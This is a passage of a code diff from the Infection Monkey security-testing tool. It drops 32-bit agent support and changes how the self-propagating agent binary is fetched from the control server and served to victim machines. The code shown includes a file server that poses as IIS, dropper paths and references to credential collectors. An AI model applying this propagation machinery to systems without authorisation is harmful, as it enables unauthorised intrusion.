victim += "] ICMP: %s " % (self.icmp)
|
||||||
victim += "target monkey: %s" % self.monkey_exe
|
|
||||||
return victim
|
return victim
|
||||||
|
|
||||||
def set_island_address(self, ip: str, port: Optional[str]):
|
def set_island_address(self, ip: str, port: Optional[str]):
|
||||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
|
||||||
MimikatzCredentialCollector,
|
MimikatzCredentialCollector,
|
||||||
SSHCredentialCollector,
|
SSHCredentialCollector,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit import ExploiterWrapper
|
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||||
|
@ -46,7 +46,6 @@ from infection_monkey.utils.environment import is_windows_os
|
||||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
|
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
|
||||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||||
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
||||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -101,11 +100,6 @@ class InfectionMonkey:
|
||||||
logger.info("The Monkey Island has instructed this agent to stop")
|
logger.info("The Monkey Island has instructed this agent to stop")
|
||||||
return
|
return
|
||||||
|
|
||||||
if InfectionMonkey._is_upgrade_to_64_needed():
|
|
||||||
self._upgrade_to_64()
|
|
||||||
logger.info("32 bit Agent can't run on 64 bit system.")
|
|
||||||
return
|
|
||||||
|
|
||||||
self._setup()
|
self._setup()
|
||||||
self._master.start()
|
self._master.start()
|
||||||
|
|
||||||
|
@ -147,16 +141,6 @@ class InfectionMonkey:
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def _is_upgrade_to_64_needed():
|
|
||||||
return WindowsUpgrader.should_upgrade()
|
|
||||||
|
|
||||||
def _upgrade_to_64(self):
|
|
||||||
self._singleton.unlock()
|
|
||||||
logger.info("32bit monkey running on 64bit Windows. Upgrading.")
|
|
||||||
WindowsUpgrader.upgrade(self._opts)
|
|
||||||
logger.info("Finished upgrading from 32bit to 64bit.")
|
|
||||||
|
|
||||||
def _setup(self):
|
def _setup(self):
|
||||||
logger.debug("Starting the setup phase.")
|
logger.debug("Starting the setup phase.")
|
||||||
|
|
||||||
|
@ -216,7 +200,10 @@ class InfectionMonkey:
|
||||||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||||
|
|
||||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
|
agent_repoitory = CachingAgentRepository(
|
||||||
|
f"https://{self._default_server}", ControlClient.proxies
|
||||||
|
)
|
||||||
|
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
|
||||||
|
|
||||||
puppet.load_plugin(
|
puppet.load_plugin(
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
|
@ -252,10 +239,6 @@ class InfectionMonkey:
|
||||||
logger.info("Monkey cleanup started")
|
logger.info("Monkey cleanup started")
|
||||||
self._wait_for_exploited_machine_connection()
|
self._wait_for_exploited_machine_connection()
|
||||||
try:
|
try:
|
||||||
if self._is_upgrade_to_64_needed():
|
|
||||||
logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)")
|
|
||||||
return
|
|
||||||
|
|
||||||
if self._master:
|
if self._master:
|
||||||
self._master.cleanup()
|
self._master.cleanup()
|
||||||
|
|
||||||
|
|
|
@ -43,10 +43,6 @@ def is_windows():
|
||||||
return platform.system().find("Windows") >= 0
|
return platform.system().find("Windows") >= 0
|
||||||
|
|
||||||
|
|
||||||
def is_32_bit():
|
|
||||||
return sys.maxsize <= 2 ** 32
|
|
||||||
|
|
||||||
|
|
||||||
def get_bin_folder():
|
def get_bin_folder():
|
||||||
return os.path.join('.', 'bin')
|
return os.path.join('.', 'bin')
|
||||||
|
|
||||||
|
@ -73,15 +69,10 @@ def get_hidden_imports():
|
||||||
def get_monkey_filename():
|
def get_monkey_filename():
|
||||||
name = 'monkey-'
|
name = 'monkey-'
|
||||||
if is_windows():
|
if is_windows():
|
||||||
name = name + "windows-"
|
name = name + "windows-64.exe"
|
||||||
else:
|
else:
|
||||||
name = name + "linux-"
|
name = name + "linux-64"
|
||||||
if is_32_bit():
|
|
||||||
name = name + "32"
|
|
||||||
else:
|
|
||||||
name = name + "64"
|
|
||||||
if is_windows():
|
|
||||||
name = name + ".exe"
|
|
||||||
return name
|
return name
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,58 +0,0 @@
|
||||||
import os
|
|
||||||
from io import BytesIO
|
|
||||||
|
|
||||||
MONKEYFS_PREFIX = "monkeyfs://"
|
|
||||||
|
|
||||||
open_orig = open
|
|
||||||
|
|
||||||
|
|
||||||
class VirtualFile(BytesIO):
|
|
||||||
_vfs = {} # virtual File-System
|
|
||||||
|
|
||||||
def __init__(self, name, mode="r", buffering=None):
|
|
||||||
if not name.startswith(MONKEYFS_PREFIX):
|
|
||||||
name = MONKEYFS_PREFIX + name
|
|
||||||
self.name = name
|
|
||||||
if name in VirtualFile._vfs:
|
|
||||||
super(VirtualFile, self).__init__(self._vfs[name])
|
|
||||||
else:
|
|
||||||
super(VirtualFile, self).__init__()
|
|
||||||
|
|
||||||
def flush(self):
|
|
||||||
super(VirtualFile, self).flush()
|
|
||||||
VirtualFile._vfs[self.name] = self.getvalue()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def getsize(path):
|
|
||||||
return len(VirtualFile._vfs[path])
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def isfile(path):
|
|
||||||
return path in VirtualFile._vfs
|
|
||||||
|
|
||||||
|
|
||||||
def getsize(path):
|
|
||||||
if path.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile.getsize(path)
|
|
||||||
else:
|
|
||||||
return os.stat(path).st_size
|
|
||||||
|
|
||||||
|
|
||||||
def isfile(path):
|
|
||||||
if path.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile.isfile(path)
|
|
||||||
else:
|
|
||||||
return os.path.isfile(path)
|
|
||||||
|
|
||||||
|
|
||||||
def virtual_path(name):
|
|
||||||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
|
||||||
|
|
||||||
|
|
||||||
# noinspection PyShadowingBuiltins
|
|
||||||
def open(name, mode="r", buffering=-1):
|
|
||||||
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
|
||||||
if name.startswith(MONKEYFS_PREFIX):
|
|
||||||
return VirtualFile(name, mode, buffering)
|
|
||||||
else:
|
|
||||||
return open_orig(name, mode=mode, buffering=buffering)
|
|
|
@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives.
|
||||||
1. To build the final exe:
|
1. To build the final exe:
|
||||||
- `cd monkey\infection_monkey`
|
- `cd monkey\infection_monkey`
|
||||||
- `build_windows.bat`
|
- `build_windows.bat`
|
||||||
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
|
|
||||||
|
Output is placed under `dist\monkey64.exe`.
|
||||||
|
|
||||||
## Linux
|
## Linux
|
||||||
|
|
||||||
|
@ -51,7 +52,7 @@ Tested on Ubuntu 16.04.
|
||||||
- `chmod +x build_linux.sh`
|
- `chmod +x build_linux.sh`
|
||||||
- `pipenv run ./build_linux.sh`
|
- `pipenv run ./build_linux.sh`
|
||||||
|
|
||||||
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
|
Output is placed under `dist/monkey64`.
|
||||||
|
|
||||||
### Troubleshooting
|
### Troubleshooting
|
||||||
|
|
||||||
|
|
|
@ -1,2 +1 @@
|
||||||
from infection_monkey.transport.http import HTTPServer
|
|
||||||
from infection_monkey.transport.http import LockedHTTPServer
|
from infection_monkey.transport.http import LockedHTTPServer
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import http.server
|
import http.server
|
||||||
import os.path
|
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import threading
|
import threading
|
||||||
|
@ -7,7 +6,6 @@ import urllib
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from urllib.parse import urlsplit
|
from urllib.parse import urlsplit
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||||
|
|
||||||
|
@ -16,7 +14,8 @@ logger = getLogger(__name__)
|
||||||
|
|
||||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
protocol_version = "HTTP/1.1"
|
protocol_version = "HTTP/1.1"
|
||||||
filename = ""
|
victim_os = ""
|
||||||
|
agent_repository = None
|
||||||
|
|
||||||
def version_string(self):
|
def version_string(self):
|
||||||
return "Microsoft-IIS/7.5."
|
return "Microsoft-IIS/7.5."
|
||||||
|
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
total += chunk
|
total += chunk
|
||||||
start_range += chunk
|
start_range += chunk
|
||||||
|
|
||||||
if f.tell() == monkeyfs.getsize(self.filename):
|
if f.tell() == len(f.getbuffer()):
|
||||||
if self.report_download(self.client_address):
|
if self.report_download(self.client_address):
|
||||||
self.close_connection = 1
|
self.close_connection = 1
|
||||||
|
|
||||||
|
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
def send_head(self):
|
def send_head(self):
|
||||||
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
|
if self.path != "/" + urllib.parse.quote(self.victim_os):
|
||||||
self.send_error(500, "")
|
self.send_error(500, "")
|
||||||
return None, 0, 0
|
return None, 0, 0
|
||||||
try:
|
try:
|
||||||
f = monkeyfs.open(self.filename, "rb")
|
f = self.agent_repository.get_agent_binary(self.victim_os)
|
||||||
except IOError:
|
except IOError:
|
||||||
self.send_error(404, "File not found")
|
self.send_error(404, "File not found")
|
||||||
return None, 0, 0
|
return None, 0, 0
|
||||||
size = monkeyfs.getsize(self.filename)
|
size = len(f.getbuffer())
|
||||||
start_range = 0
|
start_range = 0
|
||||||
end_range = size
|
end_range = size
|
||||||
|
|
||||||
|
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class HTTPServer(threading.Thread):
|
|
||||||
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
|
||||||
self._local_ip = local_ip
|
|
||||||
self._local_port = local_port
|
|
||||||
self._filename = filename
|
|
||||||
self.max_downloads = max_downloads
|
|
||||||
self.downloads = 0
|
|
||||||
self._stopped = False
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
class TempHandler(FileServHTTPRequestHandler):
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|
||||||
|
|
||||||
filename = self._filename
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def report_download(dest=None):
|
|
||||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
|
||||||
TempHandler.T1105Telem(
|
|
||||||
TempHandler.ScanStatus.USED,
|
|
||||||
get_interface_to_target(dest[0]),
|
|
||||||
dest[0],
|
|
||||||
self._filename,
|
|
||||||
).send()
|
|
||||||
self.downloads += 1
|
|
||||||
if not self.downloads < self.max_downloads:
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
|
||||||
httpd.timeout = 0.5 # this is irrelevant?
|
|
||||||
|
|
||||||
while not self._stopped and self.downloads < self.max_downloads:
|
|
||||||
httpd.handle_request()
|
|
||||||
|
|
||||||
self._stopped = True
|
|
||||||
|
|
||||||
def stop(self, timeout=60):
|
|
||||||
self._stopped = True
|
|
||||||
self.join(timeout)
|
|
||||||
|
|
||||||
|
|
||||||
class LockedHTTPServer(threading.Thread):
|
class LockedHTTPServer(threading.Thread):
|
||||||
"""
|
"""
|
||||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||||
|
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
|
||||||
# Seconds to wait until server stops
|
# Seconds to wait until server stops
|
||||||
STOP_TIMEOUT = 5
|
STOP_TIMEOUT = 5
|
||||||
|
|
||||||
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
def __init__(
|
||||||
|
self,
|
||||||
|
local_ip,
|
||||||
|
local_port,
|
||||||
|
victim_os,
|
||||||
|
dropper_target_path,
|
||||||
|
agent_repository,
|
||||||
|
lock,
|
||||||
|
max_downloads=1,
|
||||||
|
):
|
||||||
self._local_ip = local_ip
|
self._local_ip = local_ip
|
||||||
self._local_port = local_port
|
self._local_port = local_port
|
||||||
self._filename = filename
|
self._victim_os = victim_os
|
||||||
|
self._dropper_target_path = dropper_target_path
|
||||||
|
self._agent_repository = agent_repository
|
||||||
self.max_downloads = max_downloads
|
self.max_downloads = max_downloads
|
||||||
self.downloads = 0
|
self.downloads = 0
|
||||||
self._stopped = False
|
self._stopped = False
|
||||||
|
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
|
|
||||||
filename = self._filename
|
victim_os = self._victim_os
|
||||||
|
agent_repository = self._agent_repository
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def report_download(dest=None):
|
def report_download(dest=None):
|
||||||
|
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
|
||||||
TempHandler.ScanStatus.USED,
|
TempHandler.ScanStatus.USED,
|
||||||
get_interface_to_target(dest[0]),
|
get_interface_to_target(dest[0]),
|
||||||
dest[0],
|
dest[0],
|
||||||
self._filename,
|
self._dropper_target_path,
|
||||||
).send()
|
).send()
|
||||||
self.downloads += 1
|
self.downloads += 1
|
||||||
if not self.downloads < self.max_downloads:
|
if not self.downloads < self.max_downloads:
|
||||||
|
|
|
@ -1,18 +1,5 @@
|
||||||
import os
|
|
||||||
import struct
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
def is_64bit_windows_os():
|
|
||||||
"""
|
|
||||||
Checks for 64 bit Windows OS using environment variables.
|
|
||||||
"""
|
|
||||||
return "PROGRAMFILES(X86)" in os.environ
|
|
||||||
|
|
||||||
|
|
||||||
def is_64bit_python():
|
|
||||||
return struct.calcsize("P") == 8
|
|
||||||
|
|
||||||
|
|
||||||
def is_windows_os():
|
def is_windows_os():
|
||||||
return sys.platform.startswith("win")
|
return sys.platform.startswith("win")
|
||||||
|
|
|
@ -1,69 +0,0 @@
|
||||||
import logging
|
|
||||||
import shutil
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
from infection_monkey.control import ControlClient
|
|
||||||
from infection_monkey.utils.commands import (
|
|
||||||
build_monkey_commandline_explicitly,
|
|
||||||
get_monkey_commandline_windows,
|
|
||||||
)
|
|
||||||
from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
if "win32" == sys.platform:
|
|
||||||
from win32process import DETACHED_PROCESS
|
|
||||||
else:
|
|
||||||
DETACHED_PROCESS = 0
|
|
||||||
|
|
||||||
|
|
||||||
class WindowsUpgrader(object):
|
|
||||||
__UPGRADE_WAIT_TIME__ = 3
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def should_upgrade():
|
|
||||||
return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def upgrade(opts):
|
|
||||||
try:
|
|
||||||
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
|
||||||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
|
||||||
with open(
|
|
||||||
WormConfiguration.dropper_target_path_win_64, "wb"
|
|
||||||
) as written_monkey_file:
|
|
||||||
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
|
||||||
except (IOError, AttributeError) as e:
|
|
||||||
logger.error("Failed to download the Monkey to the target path: %s." % e)
|
|
||||||
return
|
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
|
||||||
opts.parent, opts.tunnel, opts.server, opts.depth
|
|
||||||
)
|
|
||||||
|
|
||||||
monkey_cmdline = get_monkey_commandline_windows(
|
|
||||||
WormConfiguration.dropper_target_path_win_64, monkey_options
|
|
||||||
)
|
|
||||||
|
|
||||||
monkey_process = subprocess.Popen(
|
|
||||||
monkey_cmdline,
|
|
||||||
stdin=None,
|
|
||||||
stdout=None,
|
|
||||||
stderr=None,
|
|
||||||
close_fds=True,
|
|
||||||
creationflags=DETACHED_PROCESS,
|
|
||||||
)
|
|
||||||
|
|
||||||
logger.info(
|
|
||||||
"Executed 64bit monkey process (PID=%d) with command line: %s",
|
|
||||||
monkey_process.pid,
|
|
||||||
" ".join(monkey_cmdline),
|
|
||||||
)
|
|
||||||
|
|
||||||
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
|
||||||
if monkey_process.poll() is not None:
|
|
||||||
logger.error("Seems like monkey died too soon")
|
|
|
@ -134,8 +134,7 @@ def init_api_resources(api):
|
||||||
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
||||||
api.add_resource(
|
api.add_resource(
|
||||||
MonkeyDownload,
|
MonkeyDownload,
|
||||||
"/api/monkey/download",
|
"/api/monkey/download/<string:host_os>",
|
||||||
"/api/monkey/download/<string:path>",
|
|
||||||
)
|
)
|
||||||
api.add_resource(NetMap, "/api/netmap")
|
api.add_resource(NetMap, "/api/netmap")
|
||||||
api.add_resource(Edge, "/api/netmap/edge")
|
api.add_resource(Edge, "/api/netmap/edge")
|
||||||
|
|
|
@ -1,101 +1,34 @@
|
||||||
import hashlib
|
import hashlib
|
||||||
import json
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
from pathlib import Path
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request, send_from_directory
|
from flask import make_response, send_from_directory
|
||||||
|
|
||||||
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
MONKEY_DOWNLOADS = [
|
AGENTS = {
|
||||||
{
|
"linux": "monkey-linux-64",
|
||||||
"type": "linux",
|
"windows": "monkey-windows-64.exe",
|
||||||
"machine": "x86_64",
|
}
|
||||||
"filename": "monkey-linux-64",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "linux",
|
|
||||||
"machine": "i686",
|
|
||||||
"filename": "monkey-linux-32",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "linux",
|
|
||||||
"machine": "i386",
|
|
||||||
"filename": "monkey-linux-32",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "linux",
|
|
||||||
"filename": "monkey-linux-64",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"machine": "x86",
|
|
||||||
"filename": "monkey-windows-32.exe",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"machine": "amd64",
|
|
||||||
"filename": "monkey-windows-64.exe",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"machine": "64",
|
|
||||||
"filename": "monkey-windows-64.exe",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"machine": "32",
|
|
||||||
"filename": "monkey-windows-32.exe",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "windows",
|
|
||||||
"filename": "monkey-windows-32.exe",
|
|
||||||
},
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_executable(host_os, machine):
|
class UnsupportedOSError(Exception):
|
||||||
for download in MONKEY_DOWNLOADS:
|
pass
|
||||||
if host_os == download.get("type") and machine == download.get("machine"):
|
|
||||||
logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine))
|
|
||||||
return download
|
|
||||||
logger.warning(
|
|
||||||
"No monkey executables could be found for the host os or machine or both: host_os: {"
|
|
||||||
"0}, machine: {1}".format(host_os, machine)
|
|
||||||
)
|
|
||||||
return None
|
|
||||||
|
|
||||||
|
|
||||||
class MonkeyDownload(flask_restful.Resource):
|
class MonkeyDownload(flask_restful.Resource):
|
||||||
|
|
||||||
# Used by monkey. can't secure.
|
# Used by monkey. can't secure.
|
||||||
def get(self, path):
|
def get(self, host_os):
|
||||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
|
try:
|
||||||
|
path = get_agent_executable_path(host_os)
|
||||||
# Used by monkey. can't secure.
|
return send_from_directory(path.parent, path.name)
|
||||||
def post(self):
|
except UnsupportedOSError as ex:
|
||||||
host_json = json.loads(request.data)
|
logger.error(ex)
|
||||||
host_os = host_json.get("os")
|
return make_response({"error": str(ex)}, 404)
|
||||||
if host_os:
|
|
||||||
result = get_monkey_executable(host_os.get("type"), host_os.get("machine"))
|
|
||||||
|
|
||||||
if result:
|
|
||||||
# change resulting from new base path
|
|
||||||
executable_filename = result["filename"]
|
|
||||||
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
|
|
||||||
if os.path.isfile(real_path):
|
|
||||||
result["size"] = os.path.getsize(real_path)
|
|
||||||
return result
|
|
||||||
|
|
||||||
return {}
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_executable_full_path(executable_filename):
|
|
||||||
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
|
|
||||||
return real_path
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def log_executable_hashes():
|
def log_executable_hashes():
|
||||||
|
@ -103,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
|
||||||
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
|
||||||
version you have etc.).
|
version you have etc.).
|
||||||
"""
|
"""
|
||||||
filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
|
filenames = set(AGENTS.values())
|
||||||
for filename in filenames:
|
for filename in filenames:
|
||||||
filepath = MonkeyDownload.get_executable_full_path(filename)
|
filepath = get_executable_full_path(filename)
|
||||||
if os.path.isfile(filepath):
|
if filepath.is_file():
|
||||||
with open(filepath, "rb") as monkey_exec_file:
|
with open(filepath, "rb") as monkey_exec_file:
|
||||||
file_contents = monkey_exec_file.read()
|
file_contents = monkey_exec_file.read()
|
||||||
logger.debug(
|
file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
|
||||||
"{} hashes:\nSHA-256 {}".format(
|
logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
|
||||||
filename, hashlib.sha256(file_contents).hexdigest()
|
|
||||||
)
|
|
||||||
)
|
|
||||||
else:
|
else:
|
||||||
logger.debug("No monkey executable for {}.".format(filepath))
|
logger.debug(f"No monkey executable for {filepath}")
|
||||||
|
|
||||||
|
|
||||||
|
def get_agent_executable_path(host_os: str) -> Path:
|
||||||
|
try:
|
||||||
|
agent_path = get_executable_full_path(AGENTS[host_os])
|
||||||
|
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
|
||||||
|
|
||||||
|
return agent_path
|
||||||
|
except KeyError:
|
||||||
|
logger.warning(f"No monkey executables could be found for the host os: {host_os}")
|
||||||
|
raise UnsupportedOSError(
|
||||||
|
f'No Agents are available for unsupported operating system "{host_os}"'
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def get_executable_full_path(executable_filename: str) -> Path:
|
||||||
|
return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename
|
||||||
|
|
|
@ -606,7 +606,6 @@ class ConfigService:
|
||||||
|
|
||||||
for dropper_target in [
|
for dropper_target in [
|
||||||
"dropper_target_path_linux",
|
"dropper_target_path_linux",
|
||||||
"dropper_target_path_win_32",
|
|
||||||
"dropper_target_path_win_64",
|
"dropper_target_path_win_64",
|
||||||
]:
|
]:
|
||||||
exploit_options[dropper_target] = config.get(dropper_target, "")
|
exploit_options[dropper_target] = config.get(dropper_target, "")
|
||||||
|
|
|
@ -174,14 +174,6 @@ INTERNAL = {
|
||||||
"description": "Determines where should the dropper place the monkey on a "
|
"description": "Determines where should the dropper place the monkey on a "
|
||||||
"Linux machine",
|
"Linux machine",
|
||||||
},
|
},
|
||||||
"dropper_target_path_win_32": {
|
|
||||||
"title": "Dropper target path on Windows (32bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "C:\\Windows\\temp\\monkey32.exe",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a "
|
|
||||||
"Windows machine "
|
|
||||||
"(32bit)",
|
|
||||||
},
|
|
||||||
"dropper_target_path_win_64": {
|
"dropper_target_path_win_64": {
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
|
|
@ -5,8 +5,8 @@ import stat
|
||||||
import subprocess
|
import subprocess
|
||||||
from shutil import copyfile
|
from shutil import copyfile
|
||||||
|
|
||||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
from monkey_island.cc.resources.monkey_download import get_agent_executable_path
|
||||||
from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.server_utils.consts import ISLAND_PORT
|
||||||
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
from monkey_island.cc.services.utils.network_utils import local_ip_addresses
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -25,12 +25,13 @@ class LocalMonkeyRunService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def run_local_monkey():
|
def run_local_monkey():
|
||||||
# get the monkey executable suitable to run on the server
|
# get the monkey executable suitable to run on the server
|
||||||
result = get_monkey_executable(platform.system().lower(), platform.machine().lower())
|
try:
|
||||||
if not result:
|
src_path = get_agent_executable_path(platform.system().lower())
|
||||||
return False, "OS Type not found"
|
except Exception as ex:
|
||||||
|
logger.error(f"Error running agent from island: {ex}")
|
||||||
|
return False, str(ex)
|
||||||
|
|
||||||
src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"])
|
dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name
|
||||||
dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"])
|
|
||||||
|
|
||||||
# copy the executable to temp path (don't run the monkey from its current location as it may
|
# copy the executable to temp path (don't run the monkey from its current location as it may
|
||||||
# delete itself)
|
# delete itself)
|
||||||
|
|
|
@ -20,9 +20,7 @@ const getContents = (props) => {
|
||||||
|
|
||||||
const osTypes = {
|
const osTypes = {
|
||||||
[OS_TYPES.WINDOWS_64]: 'Windows 64bit',
|
[OS_TYPES.WINDOWS_64]: 'Windows 64bit',
|
||||||
[OS_TYPES.WINDOWS_32]: 'Windows 32bit',
|
[OS_TYPES.LINUX_64]: 'Linux 64bit'
|
||||||
[OS_TYPES.LINUX_64]: 'Linux 64bit',
|
|
||||||
[OS_TYPES.LINUX_32]: 'Linux 32bit'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
|
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
|
||||||
|
@ -48,11 +46,11 @@ const getContents = (props) => {
|
||||||
}
|
}
|
||||||
|
|
||||||
function generateCommands() {
|
function generateCommands() {
|
||||||
if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) {
|
if (osType === OS_TYPES.WINDOWS_64) {
|
||||||
